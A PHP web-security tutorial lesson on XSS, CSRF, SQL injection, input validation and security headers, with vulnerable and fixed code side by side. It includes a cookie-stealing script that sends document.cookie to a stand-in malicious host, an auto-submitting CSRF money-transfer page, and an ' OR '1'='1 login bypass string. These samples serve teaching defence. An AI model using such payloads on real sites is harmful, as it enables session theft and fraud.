20. Web Application Security

Security is not optional. It is fundamental. An insecure application can put your users' data, your reputation and your business at risk. In this lesson we will look at the most common vulnerabilities and how to protect yourself against them.

Golden rule: Never trust data that comes from the user. Everything that arrives from forms, URLs, cookies or any external input must be validated and sanitized.

XSS (Cross-Site Scripting)

XSS is one of the most common vulnerabilities. It happens when an attacker injects malicious JavaScript code into your website that runs in the browser of other users.

Example of an XSS vulnerability

Imagine you have a simple comment form:

<?php
// ❌ VULNERABLE CODE - DO NOT USE THIS!
if (isset($_POST['comentario'])) {
    $comentario = $_POST['comentario'];
    echo "<p>Your comment: $comentario</p>";
}
?>
<form method="post">
    <textarea name="comentario"></textarea>
    <button type="submit">Send</button>
</form>

If an attacker submits this "comment":

<script>
    // Steal session cookies
    fetch('https://malicious-site.com/steal.php?cookie=' + document.cookie);
</script>

The script will run in the browser of anyone who views that comment, sending their cookies (including sessions) to the attacker.

Protection against XSS

The solution is to use htmlspecialchars() to escape the HTML before displaying it:

<?php
// ✅ SECURE CODE
if (isset($_POST['comentario'])) {
    $comentario = $_POST['comentario'];
    // htmlspecialchars converts <script> into &lt;script&gt;
    // The browser shows it as text, it does not run it
    echo "<p>Your comment: " . htmlspecialchars($comentario, ENT_QUOTES, 'UTF-8') . "</p>";
}
?>
<form method="post">
    <textarea name="comentario"></textarea>
    <button type="submit">Send</button>
</form>

Now the browser will literally show <script>...</script> as text, without running it.

Simple rule: Use htmlspecialchars() always when you display data that comes from the user. No exceptions.

Complete practical example

<?php
// List of comments (in a real app they would come from the database)
$comentarios = [];

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset $_POST['comentario'])) {
    $nuevoComentario = [
        'texto' => $_POST['comentario'],
        'fecha' => date('Y-m-d H:i:s'),
        'autor' => $_POST['autor'] ?? 'Anonymous'
    ];
    // In a real app, you would save it to the database
    $comentarios[] = $nuevoComentario;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Secure comments</title>
</head>
<body>
    <h1>Comments</h1>

    <?php foreach ($comentarios as $comentario): ?>
        <div style="border: 1px solid #ccc; padding: 10px; margin: 10px 0;">
            <strong><?= htmlspecialchars($comentario['autor'], ENT_QUOTES, 'UTF-8') ?></strong>
            <p><?= htmlspecialchars($comentario['texto'], ENT_QUOTES, 'UTF-8') ?></p>
            <small><?= htmlspecialchars($comentario['fecha'], ENT_QUOTES, 'UTF-8') ?></small>
        </div>
    <?php endforeach; ?>

    <h2>Add a comment</h2>
    <form method="post">
        <label>
            Name:
            <input type="text" name="autor" required>
        </label>
        <br>
        <label>
            Comment:
            <textarea name="comentario" required></textarea>
        </label>
        <br>
        <button type="submit">Publish</button>
    </form>
</body>
</html>

CSRF (Cross-Site Request Forgery)

CSRF is an attack where a malicious site tricks the user's browser into making unauthorized requests to your application using the user's active session.

Example of a CSRF attack

Imagine you have a form to transfer money:

<?php
// ❌ VULNERABLE TO CSRF
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // If the user is logged in, process the transfer
    if (isset($_SESSION['usuario_id'])) {
        $destinatario = $_POST['destinatario'];
        $cantidad = $_POST['cantidad'];

        // Transfer money (simplified)
        echo "Transferred $$cantidad to $destinatario";
    }
}
?>

An attacker creates a malicious page with this code:

<!-- Attacker's page -->
<form action="https://your-bank.com/transfer.php" method="post" id="ataque">
    <input type="hidden" name="destinatario" value="attacker@evil.com">
    <input type="hidden" name="cantidad" value="1000">
</form>
<script>
    // It is submitted automatically when the victim visits this page
    document.getElementById('ataque').submit();
</script>

If a user logged into your bank visits the attacker's page, their browser will automatically send the request using their active session, and the transfer will happen without the user knowing!

Protection against CSRF: Tokens

The solution is to use unique CSRF tokens that are validated on every request:

<?php
session_start();

// Generate a CSRF token if it does not exist
if (!isset($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Verify the CSRF token
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('Error: Invalid CSRF token. Possible CSRF attack.');
    }

    // Valid token, process the form securely
    if (isset($_SESSION['usuario_id'])) {
        $destinatario = $_POST['destinatario'];
        $cantidad = $_POST['cantidad'];

        echo "Transferred $$cantidad to $destinatario";

        // Regenerate the token after using it (optional but recommended)
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Secure transfer</title>
</head>
<body>
    <h1>Transfer money</h1>
    <form method="post">
        <!-- Hidden CSRF token -->
        <input type="hidden" name="csrf_token" value="<?= htmlspecialchars($_SESSION['csrf_token']) ?>">

        <label>
            Recipient:
            <input type="email" name="destinatario" required>
        </label>
        <br>
        <label>
            Amount:
            <input type="number" name="cantidad" min="1" required>
        </label>
        <br>
        <button type="submit">Transfer</button>
    </form>
</body>
</html>

Now the attacker cannot make the request because they do not know the unique token generated for that session.

Tip: In real applications, create a helper function to automatically generate and validate CSRF tokens in all your forms.

Helper function for CSRF

<?php
// csrf.php - Helper functions for CSRF

/**
 * Generates a CSRF token and stores it in the session
 */
function generarTokenCSRF(): string {
    if (session_status() === PHP_SESSION_NONE) {
        session_start();
    }

    if (!isset($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }

    return $_SESSION['csrf_token'];
}

/**
 * Validates the received CSRF token
 */
function validarTokenCSRF(string $token): bool {
    if (session_status() === PHP_SESSION_NONE) {
        session_start();
    }

    return isset($_SESSION['csrf_token']) && hash_equals($_SESSION['csrf_token'], $token);
}

/**
 * Generates the hidden input field with the CSRF token
 */
function campoCSRF(): string {
    $token = generarTokenCSRF();
    return '<input type="hidden" name="csrf_token" value="' . htmlspecialchars($token) . '">';
}
?>

Usage:

<?php
require 'csrf.php';
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!validarTokenCSRF($_POST['csrf_token'] ?? '')) {
        die('Invalid CSRF token');
    }

    // Process the form securely
    echo "Form processed successfully";
}
?>
<form method="post">
    <?= campoCSRF() ?>
    <!-- rest of the form -->
    <button type="submit">Send</button>
</form>

SQL Injection (Reinforcement)

We already saw in earlier lessons how to use prepared statements to prevent SQL Injection, but it is worth reinforcing this concept because it is critical.

Reminder: Never concatenate user data into queries

// ❌ EXTREMELY DANGEROUS
$email = $_POST['email'];
$password = $_POST['password'];
$query = "SELECT * FROM usuarios WHERE email = '$email' AND password = '$password'";
$resultado = $pdo->query($query);

If an attacker sends as email: ' OR '1'='1, the query becomes:

SELECT * FROM usuarios WHERE email = '' OR '1'='1' AND password = '...'

Since '1'='1' is always true, the attacker can gain access without knowing any password.

Always use prepared statements

// ✅ SECURE
$email = $_POST['email'];
$password = $_POST['password'];

$stmt = $pdo->prepare("SELECT * FROM usuarios WHERE email = ? AND password = ?");
$stmt->execute([$email, $password]);
$usuario = $stmt->fetch();

Prepared statements separate the SQL from the data, making injection impossible.

Validation and Sanitization

Validating is checking whether the data meets the rules. Sanitizing is cleaning the data to make it safe.

filter_var() and filter_input()

PHP has built-in functions to validate and sanitize:

<?php
// Validate email
$email = $_POST['email'] ?? '';

if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
    echo "Valid email: $email";
} else {
    echo "Invalid email";
}

// Validate URL
$url = $_POST['url'] ?? '';

if (filter_var($url, FILTER_VALIDATE_URL)) {
    echo "Valid URL: $url";
} else {
    echo "Invalid URL";
}

// Validate integer
$edad = $_POST['edad'] ?? '';

if (filter_var($edad, FILTER_VALIDATE_INT, ['options' => ['min_range' => 18, 'max_range' => 120]])) {
    echo "Valid age: $edad";
} else {
    echo "Invalid age (must be between 18 and 120)";
}

// Sanitize string (remove HTML tags)
$nombre = $_POST['nombre'] ?? '';
$nombreLimpio = filter_var($nombre, FILTER_SANITIZE_STRING);
echo "Sanitized name: $nombreLimpio";
?>

Complete form validation

<?php
$errores = [];
$datos = [];

if ($_SERVER['REQUEST_METHOD'] === 'POST') {

    // Validate name (not empty, only letters and spaces)
    $nombre = trim($_POST['nombre'] ?? '');
    if (empty($nombre)) {
        $errores['nombre'] = 'Name is required';
    } elseif (!preg_match('/^[a-zA-ZáéíóúÁÉÍÓÚñÑ\s]+$/', $nombre)) {
        $errores['nombre'] = 'Name can only contain letters';
    } else {
        $datos['nombre'] = htmlspecialchars($nombre, ENT_QUOTES, 'UTF-8');
    }

    // Validate email
    $email = trim($_POST['email'] ?? '');
    if (empty($email)) {
        $errores['email'] = 'Email is required';
    } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $errores['email'] = 'Email is not valid';
    } else {
        $datos['email'] = $email;
    }

    // Validate age
    $edad = $_POST['edad'] ?? '';
    if (!filter_var($edad, FILTER_VALIDATE_INT, ['options' => ['min_range' => 18, 'max_range' => 120]])) {
        $errores['edad'] = 'Age must be a number between 18 and 120';
    } else {
        $datos['edad'] = (int)$edad;
    }

    // If there are no errors, process
    if (empty($errores)) {
        echo "<p style='color: green'>The form is valid! Data: " . print_r($datos, true) . "</p>";
    }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Validated form</title>
    <style>
        .error { color: red; font-size: 0.9em; }
    </style>
</head>
<body>
    <form method="post">
        <div>
            <label>
                Name:
                <input type="text" name="nombre" value="<?= htmlspecialchars($_POST['nombre'] ?? '', ENT_QUOTES, 'UTF-8') ?>">
            </label>
            <?php if (isset($errores['nombre'])): ?>
                <span class="error"><?= $errores['nombre'] ?></span>
            <?php endif; ?>
        </div>

        <div>
            <label>
                Email:
                <input type="email" name="email" value="<?= htmlspecialchars($_POST['email'] ?? '', ENT_QUOTES, 'UTF-8') ?>">
            </label>
            <?php if (isset($errores['email'])): ?>
                <span class="error"><?= $errores['email'] ?></span>
            <?php endif; ?>
        </div>

        <div>
            <label>
                Age:
                <input type="number" name="edad" value="<?= htmlspecialchars($_POST['edad'] ?? '', ENT_QUOTES, 'UTF-8') ?>">
            </label>
            <?php if (isset($errores['edad'])): ?>
                <span class="error"><?= $errores['edad'] ?></span>
            <?php endif; ?>
        </div>

        <button type="submit">Send</button>
    </form>
</body>
</html>

Security Headers

HTTP headers can add extra layers of security to your application.

X-Frame-Options

Prevents your site from being embedded in an iframe (protection against clickjacking):

<?php
header('X-Frame-Options: DENY'); // Does not allow any iframe
// or
header('X-Frame-Options: SAMEORIGIN'); // Only allows iframes from the same domain
?>

Content-Security-Policy (CSP)

Defines which resources your page can load (scripts, styles, images):

<?php
// Only allow scripts from the same origin
header("Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'");
?>

X-Content-Type-Options

Prevents the browser from "guessing" the MIME type of files:

<?php
header('X-Content-Type-Options: nosniff');
?>

Strict-Transport-Security (HSTS)

Forces the use of HTTPS:

<?php
// Only use in production with HTTPS configured
header('Strict-Transport-Security: max-age=31536000; includeSubDomains');
?>

Example: Configuring all the security headers

Create a file that you include at the start of all your pages:

<?php
// security-headers.php

/**
 * Configures security headers for the application
 */
function configurarHeadersSeguridad(): void {
    // Prevent clickjacking
    header('X-Frame-Options: SAMEORIGIN');

    // Prevent MIME sniffing
    header('X-Content-Type-Options: nosniff');

    // Basic Content Security Policy
    header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'");

    // Browser XSS protection (legacy, but does no harm)
    header('X-XSS-Protection: 1; mode=block');

    // HSTS only in production with HTTPS
    if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') {
        header('Strict-Transport-Security: max-age=31536000; includeSubDomains');
    }
}

configurarHeadersSeguridad();
?>

Usage:

<?php
require 'security-headers.php';

// Your code here
?>

General Best Practices

1. Principle of least privilege

Give each user, process or program only the minimum permissions they need:

<?php
// ❌ Database user with all privileges
// CREATE USER 'app'@'localhost' IDENTIFIED BY 'password';
// GRANT ALL PRIVILEGES ON *.* TO 'app'@'localhost';

// ✅ User with only the necessary permissions
// CREATE USER 'app'@'localhost' IDENTIFIED BY 'password';
// GRANT SELECT, INSERT, UPDATE ON mi_base_datos.* TO 'app'@'localhost';
?>

2. Do not expose sensitive information in errors

<?php
// In production
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', '/var/log/php_errors.log');

// In development
ini_set('display_errors', 1);
error_reporting(E_ALL);
?>

3. Always use HTTPS

<?php
// Redirect to HTTPS if we are not on HTTPS
if (!isset($_SERVER['HTTPS']) || $_SERVER['HTTPS'] !== 'on') {
    $redirect = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    header('Location: ' . $redirect, true, 301);
    exit;
}
?>

4. Keep PHP and libraries up to date

# Check the PHP version
php -v

# Update dependencies with Composer
composer update

5. Do not store passwords in plain text

<?php
// ❌ NEVER do this
$password = $_POST['password'];
$query = "INSERT INTO usuarios (email, password) VALUES (?, '$password')";

// ✅ Use password_hash()
$password = $_POST['password'];
$hash = password_hash($password, PASSWORD_DEFAULT);
$stmt = $pdo->prepare("INSERT INTO usuarios (email, password) VALUES (?, ?)");
$stmt->execute([$email, $hash]);

// Verify the password
$stmt = $pdo->prepare("SELECT password FROM usuarios WHERE email = ?");
$stmt->execute([$email]);
$usuario = $stmt->fetch();

if (password_verify($_POST['password'], $usuario['password'])) {
    echo "Login successful";
}
?>

6. Limit login attempts

<?php
session_start();

// Initialize the attempts counter
if (!isset($_SESSION['login_intentos'])) {
    $_SESSION['login_intentos'] = 0;
    $_SESSION['login_bloqueado_hasta'] = 0;
}

// Check whether it is blocked
if (time() < $_SESSION['login_bloqueado_hasta']) {
    $segundos_restantes = $_SESSION['login_bloqueado_hasta'] - time();
    die("Too many failed attempts. Try again in $segundos_restantes seconds.");
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $email = $_POST['email'];
    $password = $_POST['password'];

    // Verify credentials (simplified)
    $credencialesValidas = verificarCredenciales($email, $password);

    if ($credencialesValidas) {
        // Login successful, reset attempts
        $_SESSION['login_intentos'] = 0;
        $_SESSION['usuario_id'] = 123;
        echo "Login successful";
    } else {
        // Increment failed attempts
        $_SESSION['login_intentos']++;

        if ($_SESSION['login_intentos'] >= 5) {
            // Block for 15 minutes after 5 failed attempts
            $_SESSION['login_bloqueado_hasta'] = time() + (15 * 60);
            echo "Too many failed attempts. Blocked for 15 minutes.";
        } else {
            $intentos_restantes = 5 - $_SESSION['login_intentos'];
            echo "Incorrect credentials. You have $intentos_restantes attempts left.";
        }
    }
}
?>

Summary: Security Checklist

Use this list to review the security of your application:

  • [ ] XSS: I use htmlspecialchars() on all the user data I display
  • [ ] CSRF: I implement CSRF tokens in all important forms
  • [ ] SQL Injection: I use prepared statements, I never concatenate SQL
  • [ ] Validation: I validate all user data on the server
  • [ ] Passwords: I use password_hash() and password_verify()
  • [ ] Sessions: I use session_regenerate_id() after login
  • [ ] Files: I validate the real MIME type, the size and I sanitize names
  • [ ] Headers: I configured security headers (CSP, X-Frame-Options, etc.)
  • [ ] HTTPS: My application uses HTTPS in production
  • [ ] Errors: I do not show detailed errors in production
  • [ ] Permissions: I use the principle of least privilege
  • [ ] Updates: I keep PHP and dependencies up to date

Remember: Security is not a destination, it is a journey. There is always something to improve. Stay up to date on new vulnerabilities and best practices.

Activity 1

Create a registration form with complete validation:

  • Name (required, only letters)
  • Email (required, valid format, unique in the database)
  • Password (minimum 8 characters, must include an uppercase letter, a lowercase letter and a number)
  • Confirm password (must match)

Implement CSRF protection and store the password with a secure hash.

Activity 2

Create a secure comment system:

  • Users can post comments (protected against XSS)
  • Comments are stored in a database (protected against SQL Injection)
  • The form has CSRF protection
  • Comments show the date and time of publication
  • Implement a character limit (maximum 500)
Activity 3

Improve an existing login system:

  • Implement a login attempt limit (5 attempts maximum)
  • Block the account for 30 minutes after 5 failed attempts
  • Regenerate the session ID after a successful login
  • Add a "Remember me" button that uses secure cookies
  • Implement logout with complete session destruction

This work is under a Attribution-NonCommercial-NoDerivatives 4.0 International license.

Desafíos de programación atemporales y multiparadigmáticos

Desafíos de programación atemporales y multiparadigmáticos

Te encuentras ante un librillo de actividades, divididas en 2 niveles de dificultad. Te enfrentarás a los casos más comunes que te puedes encontrar en pruebas técnicas o aprender conceptos elementales de programación.

Buy the book

Will you buy me a coffee?

This is how I keep writing without ads or paywalls.

Comments

There are no comments yet.